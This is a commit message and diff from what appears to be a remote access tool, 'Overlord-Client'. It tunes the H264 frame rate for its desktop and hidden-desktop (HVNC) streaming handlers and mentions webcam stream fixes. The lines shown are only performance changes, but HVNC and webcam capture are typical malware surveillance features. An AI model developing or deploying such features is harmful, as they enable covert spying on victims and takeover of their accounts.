optimize remote desktop, hvnc and webcam stuff. Fix issues with webcam frames getting super slow out of nowhere because of backup. Also remove compression since we rarely use it + H264 already compresses. Most things we send either way are so small where compression just adds CPU overhead that isn't needed.

Overlord-Client/cmd/agent/handlers/desktop.go

@@ -32,6 +32,7 @@ func DesktopStart(ctx context.Context, env *rt.Env) error {
 		fps = 60
 		interval = time.Second / time.Duration(fps)
 	}
+	capture.SetH264TargetFPS(fps)
 	log.Printf("desktop: starting stream (target fps %d)", fps)
 	ticker := time.NewTicker(interval)
 	defer ticker.Stop()

Overlord-Client/cmd/agent/handlers/hvnc.go

@@ -28,6 +28,7 @@ func GetPersistedHVNCDisplay() int {
 
 func HVNCStart(ctx context.Context, env *rt.Env) error {
 	interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
+	capture.SetH264TargetFPS(fps)
 	log.Printf("hvnc: starting stream (max fps %d)", fps)
 
 	if err := capture.InitializeHVNCDesktop(); err != nil {